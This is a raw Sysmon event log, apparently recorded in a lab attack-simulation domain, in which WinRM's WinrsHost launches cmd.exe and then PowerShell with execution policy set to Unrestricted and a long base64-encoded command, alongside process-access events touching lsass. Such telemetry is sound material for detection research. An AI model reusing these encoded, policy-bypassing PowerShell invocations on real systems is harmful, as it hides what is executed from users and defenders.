09:08:42.643{A5F018FF-289A-5F80-0803-000000007E01}45481552C:\Windows\system32\cmd.exe{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000330Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.644{A5F018FF-289A-5F80-0903-000000007E01}3016C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289A-5F80-95B1-110000000000}0x11b1950HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-289A-5F80-0803-000000007E01}4548C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x8000000000000000329Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000328Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-289A-5F80-0703-000000007E01}27882144C:\Windows\system32\conhost.exe{A5F018FF-289A-5F80-0803-000000007E01}4548C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000327Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000326Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000325Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000324Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000323Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000322Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000321Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000320Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000319Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0803-000000007E01}4548C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000318Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000317Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-289A-5F80-0603-000000007E01}41764888C:\Windows\system32\WinrsHost.exe{A5F018FF-289A-5F80-0803-000000007E01}4548C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x8000000000000000316Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.638{A5F018FF-289A-5F80-0803-000000007E01}4548C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBB